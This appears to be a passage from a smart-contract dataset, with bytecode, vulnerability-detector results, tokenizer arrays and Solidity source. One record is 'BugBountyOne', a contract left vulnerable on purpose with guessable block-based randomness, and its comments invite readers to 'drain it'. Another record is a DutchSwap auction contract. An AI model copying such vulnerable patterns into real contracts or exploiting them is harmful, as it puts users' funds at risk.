000000000000000000000000000000000000000081526004016103ec906110fd565b60405180910390fd5b806001908051906020019061040b929190610c5d565b507f205152ff14678ea9d228fb51f9d3551e83109917eff381ef94f92aef647fb0158160405161043b9190611085565b60405180910390a150565b61044e610844565b73ffffffffffffffffffffffffffffffffffffffff1661046c61053d565b73ffffffffffffffffffffffffffffffffffffffff16146104c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b9906110fd565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f0e05ae75e8b926552cf6fcd744d19f422561e3ced1e426868730852702dbe41881604051610532919061106a565b60405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006105bd6105b884848080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050610910565b610917565b905092915050565b600181815481106105d557600080fd5b906000526020600020016000915090505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610617610844565b73ffffffffffffffffffffffffffffffffffffffff1661063561053d565b73ffffffffffffffffffffffffffffffffffffffff161461068b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610682906110fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f2906110dd565b60405180910390fd5b6107048161084c565b50565b60008061075784848080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506109ed565b905060018054905081111561076f5760018054905090505b6000811161077c57600080fd5b60006001808361078c91906112b4565b815481106107c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905061082f61082086868080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050610910565b82610bc890919063ffffffff16565b905061083a81610917565b9250505092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000919050565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561098257600080fd5b505afa158015610996573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ba9190610ecc565b90506109e5816109d76305f5e10086610bf090919063ffffffff16565b610c3590919063ffffffff16565b915050919050565b60008060008084519050600092505b80821015610bbd576000858381518110610a3f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b9050608060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161015610a8e57600183610a8791906111d3565b9250610ba9565b60e060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161015610ad057600283610ac991906111d3565b9250610ba8565b60f060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161015610b1257600383610b0b91906111d3565b9250610ba7565b60f8801b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161015610b5357600483610b4c91906111d3565b9250610ba6565b60fc60f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161015610b9557600583610b8e91906111d3565b9250610ba5565b600683610ba291906111d3565b92505b5b5b5b5b508280610bb5906113cd565b9350506109fc565b829350505050919050565b6000808284610bd791906111d3565b905083811015610be657600080fd5b8091505092915050565b600080831415610c035760009050610c2f565b60008284610c11919061125a565b9050828482610c209190611229565b14610c2a57600080fd5b809150505b92915050565b6000808211610c4357600080fd5b60008284610c519190611229565b90508091505092915050565b828054828255906000526020600020908101928215610c99579160200282015b82811115610c98578251825591602001919060010190610c7d565b5b509050610ca69190610caa565b5090565b5b80821115610cc3576000816000905550600101610cab565b5090565b6000610cda610cd58461115d565b611138565b90508083825260208201905082856020860282011115610cf957600080fd5b60005b85811015610d295781610d0f8882610dfb565b845260208401935060208301925050600181019050610cfc565b5050509392505050565b600081359050610d428161152c565b92915050565b600082601f830112610d5957600080fd5b8135610d69848260208601610cc7565b91505092915050565b600081359050610d8181611543565b92915050565b600081359050610d968161155a565b92915050565b600081519050610dab81611571565b92915050565b60008083601f840112610dc357600080fd5b8235905067ffffffffffffffff811115610ddc57600080fd5b602083019150836001820283011115610df457600080fd5b9250929050565b600081359050610e0a81611588565b92915050565b600060208284031215610e2257600080fd5b6000610e3084828501610d33565b91505092915050565b600060208284031215610e4b57600080fd5b600082013567ffffffffffffffff811115610e6557600080fd5b610e7184828501610d48565b91505092915050565b600060208284031215610e8c57600080fd5b6000610e9a84828501610d72565b91505092915050565b600060208284031215610eb557600080fd5b6000610ec384828501610d87565b91505092915050565b600060208284031215610ede57600080fd5b6000610eec84828501610d9c565b91505092915050565b60008060208385031215610f0857600080fd5b600083013567ffffffffffffffff811115610f2257600080fd5b610f2e85828601610db1565b92509250509250929050565b600060208284031215610f4c57600080fd5b6000610f5a84828501610dfb565b91505092915050565b6000610f6f838361104c565b60208301905092915050565b610f84816112e8565b82525050565b6000610f9582611199565b610f9f81856111b1565b9350610faa83611189565b8060005b83811015610fdb578151610fc28882610f63565b9750610fcd836111a4565b925050600181019050610fae565b5085935050505092915050565b610ff1816112fa565b82525050565b61100081611378565b82525050565b60006110136026836111c2565b915061101e826114b4565b604082019050919050565b60006110366020836111c2565b915061104182611503565b602082019050919050565b6110558161136e565b82525050565b6110648161136e565b82525050565b600060208201905061107f6000830184610f7b565b92915050565b6000602082019050818103600083015261109f8184610f8a565b905092915050565b60006020820190506110bc6000830184610fe8565b92915050565b60006020820190506110d76000830184610ff7565b92915050565b600060208201905081810360008301526110f681611006565b9050919050565b6000602082019050818103600083015261111681611029565b9050919050565b6000602082019050611132600083018461105b565b92915050565b6000611142611153565b905061114e828261139c565b919050565b6000604051905090565b600067ffffffffffffffff82111561117857611177611474565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006111de8261136e565b91506111e98361136e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561121e5761121d611416565b5b828201905092915050565b60006112348261136e565b915061123f8361136e565b92508261124f5761124e611445565b5b828204905092915050565b60006112658261136e565b91506112708361136e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156112a9576112a8611416565b5b828202905092915050565b60006112bf8261136e565b91506112ca8361136e565b9250828210156112dd576112dc611416565b5b828203905092915050565b60006112f38261134e565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600061133d826112e8565b9050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006113838261138a565b9050919050565b60006113958261134e565b9050919050565b6113a5826114a3565b810181811067ffffffffffffffff821117156113c4576113c3611474565b5b80604052505050565b60006113d88261136e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561140b5761140a611416565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b611535816112e8565b811461154057600080fd5b50565b61154c81611306565b811461155757600080fd5b50565b61156381611332565b811461156e57600080fd5b50565b61157a81611344565b811461158557600080fd5b50565b6115918161136e565b811461159c57600080fd5b5056fea2646970667358221220aee688b32132b97cda4b7850ae4840b364e51f66eb75c102c06cc8606c11a19864736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2575, 2063, 12376, 2050, 22025, 2094, 2581, 2546, 16068, 4246, 2497, 2683, 18939, 2683, 2629, 4246, 2692, 26976, 2475, 2497, 2620, 2581, 23777, 2575, 9818, 2581, 21084, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 1008, 1008, 2011, 12398, 1010, 1996, 3954, 4070, 2097, 2022, 1996, 2028, 2008, 21296, 2015, 1996, 3206, 1012, 2023, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,822
0x976ec8136c990751410108e4b3f57d65183d80ea
pragma solidity ^0.4.21; /* * Bug Bounty One * * This contract has a bug in it. Find it. Use it. Drain it. * * //*** A Game Developed By: * _____ _ _ _ ___ _ * |_ _|__ __| |_ _ _ (_)__ __ _| | _ (_)___ ___ * | |/ -_) _| ' \| ' \| / _/ _` | | / (_-</ -_) * |_|\___\__|_||_|_||_|_\__\__,_|_|_|_\_/__/\___| * * © 2018 TechnicalRise. Written in March 2018. * All rights reserved. Do not copy, adapt, or otherwise use without permission. * https://www.reddit.com/user/TechnicalRise/ * */ /* * TocSick won this round on Mar-26-2018 04:11:54 AM +UTC * You can read the solution source here: * https://etherscan.io/address/0x7ec3570f627d1b1d1aac3e0c251a27e94e42babb#code * And learn more about BugBounty at https://discord.gg/nbcdJ2m */ contract secretHolder { uint secret; function getSecret() public returns(uint) { return secret++; } } contract BugBountyOne { mapping(address => bool) public authorizedToDrain; mapping(address => bool) public notAllowedToDrain; address public TechnicalRise; // TechnicalRise is not allowed to drain address public CryptoKitties = 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d; uint private secretSeed; secretHolder private s = new secretHolder(); function BugBountyOne() public { TechnicalRise = msg.sender; notAllowedToDrain[TechnicalRise] = true; secretSeed = uint(keccak256(now, block.coinbase)); } function drainMe(uint _guess) public payable { if(notAllowedToDrain[msg.sender]) return; if(authorizedToDrain[msg.sender] && msg.value >= 1 finney && _guess == _prand()) { TechnicalRise.transfer(address(this).balance / 20); msg.sender.transfer(address(this).balance); notAllowedToDrain[msg.sender] = true; } } function _prand() private returns (uint) { uint seed1 = s.getSecret(); uint seed2 = uint(block.coinbase); // Get Miner's Address uint seed3 = now; // Get the timestamp uint seed4 = CryptoKitties.balance; uint rand = uint(keccak256(seed1, seed2, seed3, seed4)); seed1 = secretSeed; return rand; } function authorizeAddress(address _addr) public payable { if(msg.value >= 10 finney) { authorizedToDrain[_addr] = true; } } function getSource() public view returns(string) { if(authorizedToDrain[msg.sender]) { return "https://pastebin.com/9X0UreSa"; } } function () public payable { if(msg.value >= 10 finney) { authorizedToDrain[msg.sender] = true; } } }
0x6060604052600436106100825763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631be2252881146100b65780632d5cb5d5146100e55780634a5db3b5146100f85780637a0919221461010c5780637dd05d821461013f5780637f09ad641461015e578063afa293d414610169575b662386f26fc1000034106100b457600160a060020a0333166000908152602081905260409020805460ff191660011790555b005b34156100c157600080fd5b6100c96101f3565b604051600160a060020a03909116815260200160405180910390f35b34156100f057600080fd5b6100c9610202565b6100b4600160a060020a0360043516610211565b341561011757600080fd5b61012b600160a060020a0360043516610246565b604051901515815260200160405180910390f35b341561014a57600080fd5b61012b600160a060020a036004351661025b565b6100b4600435610270565b341561017457600080fd5b61017c610380565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101b85780820151838201526020016101a0565b50505050905090810190601f1680156101e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b600254600160a060020a031681565b600354600160a060020a031681565b662386f26fc10000341061024357600160a060020a0381166000908152602081905260409020805460ff191660011790555b50565b60016020526000908152604090205460ff1681565b60006020819052908152604090205460ff1681565b600160a060020a03331660009081526001602052604090205460ff161561029657610243565b600160a060020a03331660009081526020819052604090205460ff1680156102c5575066038d7ea4c680003410155b80156102d757506102d46103e3565b81145b1561024357600254600160a060020a0390811690601430909116310480156108fc0290604051600060405180830381858888f19350505050151561031a57600080fd5b33600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561035757600080fd5b600160a060020a0333166000908152600160208190526040909120805460ff1916909117905550565b6103886104b2565b600160a060020a03331660009081526020819052604090205460ff16156103e05760408051908101604052601d81527f68747470733a2f2f706173746562696e2e636f6d2f3958305572655361000000602082015290505b90565b60055460009081908190819081908190600160a060020a0316635b9fdc306040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561044857600080fd5b5af1151561045557600080fd5b5050506040518051600354909650600160a060020a03418116965042955016319250859050848484604051808581526020018481526020018381526020018281526020019450505050506040519081900390209695505050505050565b602060405190810160405260008152905600a165627a7a723058204c08a38b0373a18478ad040822a65892a19128d1c9fa6bab2d7628ff2371d8160029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 8586, 2620, 17134, 2575, 2278, 2683, 21057, 23352, 16932, 10790, 10790, 2620, 2063, 2549, 2497, 2509, 2546, 28311, 2094, 26187, 15136, 29097, 17914, 5243, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 1013, 1008, 1008, 11829, 17284, 2028, 1008, 1008, 2023, 3206, 2038, 1037, 11829, 1999, 2009, 1012, 2424, 2009, 1012, 2224, 2009, 1012, 12475, 2009, 1012, 1008, 1008, 1013, 1013, 1008, 1008, 1008, 1037, 2208, 2764, 2011, 1024, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1008, 1064, 1035, 1035, 1064, 1035, 1035, 1035, 1035, 1064, 1064, 1035, 1035, 1035, 1006, 1035, 1007, 1035, 1035, 1035, 1035, 1035, 1064, 1064, 1035, 1006, 1035, 1007, 1035, 1035, 1035, 1035, 1035, 1035, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,823
0x976f035dd2bc70f0dc399eaed61090cdadee15b6
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.6.9; contract Owned { address payable public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { assert(msg.sender == owner); _; } function transferOwnership(address payable newOwner) external onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256 c) { require(b <= a, errorMessage); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0); c = a / b; } function max(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a <= b ? a : b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } // ---------------------------------------------------------------------------------- // DutchSwap Auction Contract // // // This contract is modified from the contract by (c) Adrian Guerrera. Deepyr Pty Ltd. // (https://github.com/apguerrera/DutchSwap) // // Sep 02 2020 // ----------------------------------------------------------------------------------- contract DutchSwapAuction is Owned { using SafeMath for uint256; uint256 private constant TENPOW18 = 10 ** 18; uint256 public amountRaised; uint256 public startDate; uint256 public endDate; uint256 public startPrice; uint256 public minimumPrice; uint256 public tokenSupply; uint256 public tokenSold; bool public finalised; uint256 public withdrawDelay; // delay in seconds preventing withdraws uint256 public tokenWithdrawn; // the amount of auction tokens already withdrawn by bidders IERC20 public auctionToken; address payable public wallet; mapping(address => uint256) public commitments; uint256 private unlocked = 1; event AddedCommitment(address addr, uint256 commitment, uint256 price); modifier lock() { require(unlocked == 1, 'Locked'); unlocked = 0; _; unlocked = 1; } /// @dev Init function function initDutchAuction( address _token, uint256 _tokenSupply, //uint256 _startDate, uint256 _auctionDuration, uint256 _startPrice, uint256 _minimumPrice, uint256 _withdrawDelay, address payable _wallet ) external onlyOwner { require(_auctionDuration > 0, "Auction duration should be longer than 0 seconds"); require(_startPrice > _minimumPrice, "Start price should be bigger than minimum price"); require(_minimumPrice > 0, "Minimum price should be bigger than 0"); auctionToken = IERC20(_token); require(IERC20(auctionToken).transferFrom(msg.sender, address(this), _tokenSupply), "Fail to transfer tokens to this contract"); // 100 tokens are subtracted from totalSupply to ensure that this contract holds more tokens than tokenSuppy. // This is to prevent any reverting of withdrawTokens() in case of any insufficiency of tokens due to programming // languages' inability to handle float precisely, which might lead to extremely small insufficiency in tokens // to be distributed. This potentail insufficiency is extremely small (far less than 1 token), which is more than // sufficiently compensated hence. tokenSupply =_tokenSupply.sub(100000000000000000000); startDate = block.timestamp; endDate = block.timestamp.add(_auctionDuration); startPrice = _startPrice; minimumPrice = _minimumPrice; withdrawDelay = _withdrawDelay; wallet = _wallet; finalised = false; } // Dutch Auction Price Function // ============================ // // Start Price ----- // \ // \ // \ // \ ------------ Clearing Price // / \ = AmountRaised/TokenSupply // Token Price -- \ // / \ // -- ----------- Minimum Price // Amount raised / End Time // /// @notice The average price of each token from all commitments. function tokenPrice() public view returns (uint256) { return amountRaised.mul(TENPOW18).div(tokenSold); } /// @notice Token price decreases at this rate during auction. function priceGradient() public view returns (uint256) { uint256 numerator = startPrice.sub(minimumPrice); uint256 denominator = endDate.sub(startDate); return numerator.div(denominator); } /// @notice Returns price during the auction function priceFunction() public view returns (uint256) { /// @dev Return Auction Price if (block.timestamp <= startDate) { return startPrice; } if (block.timestamp >= endDate) { return minimumPrice; } uint256 priceDiff = block.timestamp.sub(startDate).mul(priceGradient()); uint256 price = startPrice.sub(priceDiff); return price; } /// @notice How many tokens the user is able to claim function tokensClaimable(address _user) public view returns (uint256) { if(!auctionEnded()) { return 0; } return commitments[_user].mul(TENPOW18).div(tokenPrice()); } /// @notice Returns bool if successful or time has ended function auctionEnded() public view returns (bool){ return block.timestamp > endDate; } /// @notice Returns true and 0 if delay time is 0, otherwise false and delay time (in seconds) function checkWithdraw() public view returns (bool, uint256) { if (block.timestamp < endDate) { return (false, endDate.sub(block.timestamp).add(withdrawDelay)); } uint256 _elapsed = block.timestamp.sub(endDate); if (_elapsed >= withdrawDelay) { return (true, 0); } else { return (false, withdrawDelay.sub(_elapsed)); } } /// @notice Returns the amount of auction tokens already withdrawn by bidders function getTokenWithdrawn() public view returns (uint256) { return tokenWithdrawn; } /// @notice Returns the amount of auction tokens sold but not yet withdrawn by bidders function getTokenNotYetWithdrawn() public view returns (uint256) { if (block.timestamp < endDate) { return tokenSold; } uint256 totalTokenSold = amountRaised.mul(TENPOW18).div(tokenPrice()); return totalTokenSold.sub(tokenWithdrawn); } //-------------------------------------------------------- // Commit to buying tokens //-------------------------------------------------------- /// @notice Buy Tokens by committing ETH to this contract address receive () external payable { commitEth(msg.sender); } /// @notice Commit ETH to buy tokens on sale function commitEth (address payable _from) public payable lock { //require(address(paymentCurrency) == ETH_ADDRESS); require(block.timestamp >= startDate && block.timestamp <= endDate); uint256 tokensToPurchase = msg.value.mul(TENPOW18).div(priceFunction()); // Get ETH able to be committed uint256 tokensPurchased = calculatePurchasable(tokensToPurchase); tokenSold = tokenSold.add(tokensPurchased); // Accept ETH Payments uint256 ethToTransfer = tokensPurchased < tokensToPurchase ? msg.value.mul(tokensPurchased).div(tokensToPurchase) : msg.value; uint256 ethToRefund = msg.value.sub(ethToTransfer); if (ethToTransfer > 0) { addCommitment(_from, ethToTransfer); } // Return any ETH to be refunded if (ethToRefund > 0) { _from.transfer(ethToRefund); } } /// @notice Commits to an amount during an auction function addCommitment(address _addr, uint256 _commitment) internal { commitments[_addr] = commitments[_addr].add(_commitment); amountRaised = amountRaised.add(_commitment); emit AddedCommitment(_addr, _commitment, tokenPrice()); } /// @notice Returns the amount able to be committed during an auction function calculatePurchasable(uint256 _tokensToPurchase) public view returns (uint256) { uint256 maxPurchasable = tokenSupply.sub(tokenSold); if (_tokensToPurchase > maxPurchasable) { return maxPurchasable; } return _tokensToPurchase; } //-------------------------------------------------------- // Modify WithdrawDelay In Auction //-------------------------------------------------------- /// @notice Removes withdraw delay /// @dev This function can only be carreid out by the owner of this contract. function removeWithdrawDelay() external onlyOwner { withdrawDelay = 0; } /// @notice Add withdraw delay /// @dev This function can only be carreid out by the owner of this contract. function addWithdrawDelay(uint256 _delay) external onlyOwner { withdrawDelay = withdrawDelay.add(_delay); } //-------------------------------------------------------- // Finalise Auction //-------------------------------------------------------- /// @notice Auction finishes successfully above the reserve /// @dev Transfer contract funds to initialised wallet. function finaliseAuction () public { require(!finalised && auctionEnded()); finalised = true; //_tokenPayment(paymentCurrency, wallet, amountRaised); wallet.transfer(amountRaised); } /// @notice Withdraw your tokens once the Auction has ended. function withdrawTokens() public lock { require(auctionEnded(), "DutchSwapAuction: Auction still live"); (bool canWithdraw,) = checkWithdraw(); require(canWithdraw == true, "DutchSwapAuction: Withdraw Delay"); uint256 fundsCommitted = commitments[ msg.sender]; require(fundsCommitted > 0, "You have no bidded tokens"); uint256 tokensToClaim = tokensClaimable(msg.sender); commitments[ msg.sender] = 0; tokenWithdrawn = tokenWithdrawn.add(tokensToClaim); /// @notice Successful auction! Transfer tokens bought. if (tokensToClaim > 0 ) { _tokenPayment(auctionToken, msg.sender, tokensToClaim); } } /// @notice Transfer unbidded auction token to a new address after auction ends /// @dev This function can only be carreid out by the owner of this contract. function transferLeftOver(uint256 _amount, address payable _addr) external onlyOwner returns (bool) { require(block.timestamp > endDate.add(withdrawDelay).add(7 * 24 * 60 * 60), "Cannot transfer auction tokens within 7 days after withdraw day"); require(_amount > 0, "Cannot transfer 0 tokens"); _tokenPayment(auctionToken, _addr, _amount); return true; } /// @dev Helper function to handle ERC20 payments function _tokenPayment(IERC20 _token, address payable _to, uint256 _amount) internal { require(_token.transfer(_to, _amount), "Fail to transfer tokens"); } }
0x6080604052600436106101dc5760003560e01c80637ff9b59611610102578063c24a0f8b11610095578063f1a9af8911610064578063f1a9af8914610520578063f2fde38b14610535578063f41f8ee114610568578063fe153834146105c3576101ec565b8063c24a0f8b1461049d578063c66a5afe146104b2578063cc30cdf7146104c7578063e8fcf723146104ed576101ec565b80638da5cb5b116100d15780638da5cb5b1461042557806399fdb3201461043a578063a3aeaa8a1461044f578063a9d87ee614610488576101ec565b80637ff9b596146103d157806386433374146103e65780638ad72252146103fb5780638d8f2adb14610410576101ec565b80634dc80e151161017a5780636a2e3309116101495780636a2e3309146103685780637824407f146103925780637b3e5e7b146103a75780637f386b6c146103bc576101ec565b80634dc80e15146102da578063519ee19e1461030d578063521eb273146103225780635228733f14610353576101ec565b8063214bb60f116101b6578063214bb60f146102575780632b3853bd14610280578063326888c614610295578063359792b2146102aa576101ec565b806302808a95146101f15780630288a39c1461022d5780630b97bc8614610242576101ec565b366101ec576101ea336105d8565b005b600080fd5b3480156101fd57600080fd5b5061021b6004803603602081101561021457600080fd5b5035610706565b60408051918252519081900360200190f35b34801561023957600080fd5b5061021b61073b565b34801561024e57600080fd5b5061021b610741565b34801561026357600080fd5b5061026c610747565b604080519115158252519081900360200190f35b34801561028c57600080fd5b5061021b610750565b3480156102a157600080fd5b5061021b610756565b3480156102b657600080fd5b506102bf61075d565b60408051921515835260208301919091528051918290030190f35b3480156102e657600080fd5b5061021b600480360360208110156102fd57600080fd5b50356001600160a01b03166107e0565b34801561031957600080fd5b5061021b610832565b34801561032e57600080fd5b50610337610838565b604080516001600160a01b039092168252519081900360200190f35b34801561035f57600080fd5b506101ea610847565b34801561037457600080fd5b506101ea6004803603602081101561038b57600080fd5b50356108b4565b34801561039e57600080fd5b5061021b6108db565b3480156103b357600080fd5b5061021b6108e1565b3480156103c857600080fd5b5061021b6108e7565b3480156103dd57600080fd5b5061021b6108ed565b3480156103f257600080fd5b5061026c610917565b34801561040757600080fd5b5061021b61091f565b34801561041c57600080fd5b506101ea610973565b34801561043157600080fd5b50610337610b16565b34801561044657600080fd5b50610337610b25565b34801561045b57600080fd5b5061026c6004803603604081101561047257600080fd5b50803590602001356001600160a01b0316610b34565b34801561049457600080fd5b5061021b610c19565b3480156104a957600080fd5b5061021b610c80565b3480156104be57600080fd5b5061021b610c86565b6101ea600480360360208110156104dd57600080fd5b50356001600160a01b03166105d8565b3480156104f957600080fd5b5061021b6004803603602081101561051057600080fd5b50356001600160a01b0316610cc7565b34801561052c57600080fd5b5061021b610cd9565b34801561054157600080fd5b506101ea6004803603602081101561055857600080fd5b50356001600160a01b0316610cdf565b34801561057457600080fd5b506101ea600480360360e081101561058b57600080fd5b506001600160a01b03813581169160208101359160408201359160608101359160808201359160a08101359160c09091013516610d22565b3480156105cf57600080fd5b506101ea610f30565b600e54600114610618576040805162461bcd60e51b8152602060048201526006602482015265131bd8dad95960d21b604482015290519081900360640190fd5b6000600e55600254421080159061063157506003544211155b61063a57600080fd5b600061065f610647610c19565b61065934670de0b6b3a7640000610f4b565b90610f6c565b9050600061066c82610706565b60075490915061067c9082610f8b565b600755600082821061068e573461069c565b61069c836106593485610f4b565b905060006106aa3483610f9b565b905081156106bc576106bc8583610fb0565b80156106fa576040516001600160a01b0386169082156108fc029083906000818181858888f193505050501580156106f8573d6000803e3d6000fd5b505b50506001600e55505050565b600080610720600754600654610f9b90919063ffffffff16565b905080831115610731579050610736565b829150505b919050565b60095481565b60025481565b60085460ff1681565b600a5481565b600a545b90565b60008060035442101561079657600061078d60095461078742600354610f9b90919063ffffffff16565b90610f8b565b915091506107dc565b60006107ad60035442610f9b90919063ffffffff16565b905060095481106107c6576001600092509250506107dc565b6009546000906107d69083610f9b565b92509250505b9091565b60006107ea610917565b6107f657506000610736565b61082c6108016108ed565b6001600160a01b0384166000908152600d602052604090205461065990670de0b6b3a7640000610f4b565b92915050565b60075481565b600c546001600160a01b031681565b60085460ff1615801561085d575061085d610917565b61086657600080fd5b6008805460ff19166001908117909155600c5490546040516001600160a01b039092169181156108fc0291906000818181858888f193505050501580156108b1573d6000803e3d6000fd5b50565b6000546001600160a01b031633146108c857fe5b6009546108d59082610f8b565b60095550565b60065481565b60015481565b60055481565b6000610912600754610659670de0b6b3a7640000600154610f4b90919063ffffffff16565b905090565b600354421190565b6000600354421015610934575060075461075a565b60006109566109416108ed565b60015461065990670de0b6b3a7640000610f4b565b905061096d600a5482610f9b90919063ffffffff16565b91505090565b600e546001146109b3576040805162461bcd60e51b8152602060048201526006602482015265131bd8dad95960d21b604482015290519081900360640190fd5b6000600e556109c0610917565b6109fb5760405162461bcd60e51b81526004018080602001828103825260248152602001806111ca6024913960400191505060405180910390fd5b6000610a0561075d565b509050600181151514610a5f576040805162461bcd60e51b815260206004820181905260248201527f44757463685377617041756374696f6e3a2057697468647261772044656c6179604482015290519081900360640190fd5b336000908152600d602052604090205480610ac1576040805162461bcd60e51b815260206004820152601960248201527f596f